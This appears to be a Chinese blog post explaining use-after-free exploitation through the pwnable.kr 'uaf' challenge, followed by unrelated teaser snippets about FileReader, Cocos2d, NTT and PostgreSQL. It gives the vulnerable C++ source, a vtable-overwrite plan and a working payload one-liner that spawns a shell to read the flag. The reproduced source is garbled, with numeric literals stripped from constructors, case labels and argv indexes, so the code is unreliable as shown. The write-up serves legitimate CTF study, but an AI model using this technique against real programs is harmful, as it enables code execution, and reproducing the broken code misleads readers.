Use-After-Free
0x00 UAF利用原理
uaf漏洞产生的主要原因是释放了一个堆块后,并没有将该指针置为NULL,这样导致该指针处于悬空的状态(这个指针可以称为恶性迷途指针),同样被释放的内存如果被恶意构造数据,就有可能会被利用。
0x01 UAF漏洞的利用步骤
(1)先精心构造一个迷途指针
(2)再精心构造数据填充被释放的内存区域
(3)再次使用该指针,改变程序流程
0x02 Pwnable.kr-uaf
源码如下;
#include <fcntl.h>
#include <iostream>
#include <cstring>
#include <cstdlib>
#include <unistd.h>
using namespace std; class Human{
private:
virtual void give_shell(){
system("/bin/sh");
}
protected:
int age;
string name;
public:
virtual void introduce(){
cout << "My name is " << name << endl;
cout << "I am " << age << " years old" << endl;
}
}; class Man: public Human{
public:
Man(string name, int age){
this->name = name;
this->age = age;
}
virtual void introduce(){
Human::introduce();
cout << "I am a nice guy!" << endl;
}
}; class Woman: public Human{
public:
Woman(string name, int age){
this->name = name;
this->age = age;
}
virtual void introduce(){
Human::introduce();
cout << "I am a cute girl!" << endl;
}
}; int main(int argc, char* argv[]){
Human* m = new Man("Jack", );
Human* w = new Woman("Jill", ); size_t len;
char* data;
unsigned int op;
while(){
cout << "1. use\n2. after\n3. free\n";
cin >> op; switch(op){
case :
m->introduce();
w->introduce();
break;
case :
len = atoi(argv[]);
data = new char[len];
read(open(argv[], O_RDONLY), data, len);
cout << "your data is allocated" << endl;
break;
case :
delete m;
delete w;
break;
default:
break;
}
} return ;
}
uaf
根据分析源码,大致漏洞利用思路:
因为在main函数开始处已经申请了两块内存
Human* m = new Man("Jack", );
Human* w = new Woman("Jill", );
我们只要执行case 3就可以让这两个指针成为迷途指针,加以利用
case :
delete m;
delete w;
break;
观察到case 2 申请了一块内存,并且对这块内存进行写操作
case :
len = atoi(argv[]);
data = new char[len];
read(open(argv[], O_RDONLY), data, len);
cout << "your data is allocated" << endl;
break;
在具体利用之前我们先简单分析一下此时堆内存的分配情况,具体是c++类存在虚函数时的分配情况,我这里不细说,只给出结论,具体的可以参照
1.IDA pro第二版124面
此时堆内存分配大致如下图所示:

加上case 1中执行introduce函数
case :
m->introduce();
w->introduce();
break;
vtable指针指向类的虚函数表,introduce函数处于虚函数表第二项,即*(vtable+8)所指向的地址,又知道在虚表中give_shell函数的位置等于introduce函数位置 - 8.意思是假如我们先把vtable的值覆盖为vtable - 8,那么再执行introduce函数时就相当于执行give_shell函数。
通过IDA逆向分析,我们找到类Man的vtable的地址为0x401570.
利用脚本如下:
uaf@ubuntu:~$ python -c "print '\x68\x15\x40\x00\x00\x00\x00\x00'" > /tmp/poc
uaf@ubuntu:~$ ./uaf 24 /tmp/poc
1. use
2. after
3. free
3
1. use
2. after
3. free
2
your data is allocated
1. use
2. after
3. free
2
your data is allocated
1. use
2. after
3. free
1
$ cat flag
0x03 参考链接
随机推荐
- FileReader文件读取API
:用来把文件读入内存,并且读取文件中的数据.FileReader接口提供了一个异步API,使用该API可以在浏览器主线程中异步访问文件系统,读取文件中的数据. 1.FileReader接口的方法 Fi ...
- Cocos2d-x-html5之HelloWorld深入分析与调试
Cocos2d-x-html5之HelloWorld深入分析与调试 另:本章所用Cocos2d-x版本为: Cocos2d-html5-v2.1.1 http://cn.cocos2d-x.org/d ...
- Type中的3个bool属性: IsGenericType , IsGenericTypeDefinition , IsGenericParameter
首先说下 IsGenericType 用3个实例说明: typeof(DateTime).IsGenericType : false typeof(List<int>).IsGeneric ...
- 洛谷P3321 [SDOI2015]序列统计(NTT)
传送门 题意:$a_i\in S$,求$\prod_{i=1}^na_i\equiv x\pmod{m}$的方案数 这题目太珂怕了……数学渣渣有点害怕……kelin大佬TQL 设$f[i][j]$表示 ...
- pgsql如何重启
正常情况下,pgsql 停止可以执行一下命令: bin/pg_ctl stop -s -D pg_data/ -m fast 此命令和 kill -15 PID 效果相同 但是有时候 pgsql 也会 ...
- npm,cnpm,nrm区别
npm npm(node package manager)是nodejs的包管理器,用于node插件管理(包括安装.卸载.管理依赖等) nrm nrm只是单纯的提供了几个常用的下载包的uri地址,并能 ...
- C 语言实例 - 计算两个时间段的差值
C 语言实例 - 计算两个时间段的差值 C 语言实例 C 语言实例 计算两个时间段的差值. 实例 #include <stdio.h> struct TIME { int seconds; ...
- javascript的学习笔记---复习及学习
1.javascript包含三大部分(BOM,DOM,ECMAscript) ECMAscript:规定js的语法规范 BOM:Document Object Model 给我们提供了一套完整的操作页 ...
- XML学习2 xml生产式
- shell学习(5)- sort
Linux sort命令用于将文本文件内容加以排序. sort可针对文本文件的内容,以行为单位来排序. 参数如下: -b 忽略每行前面开始出的空格字符. -c 检查文件是否已经按照顺序排序. -d 排 ...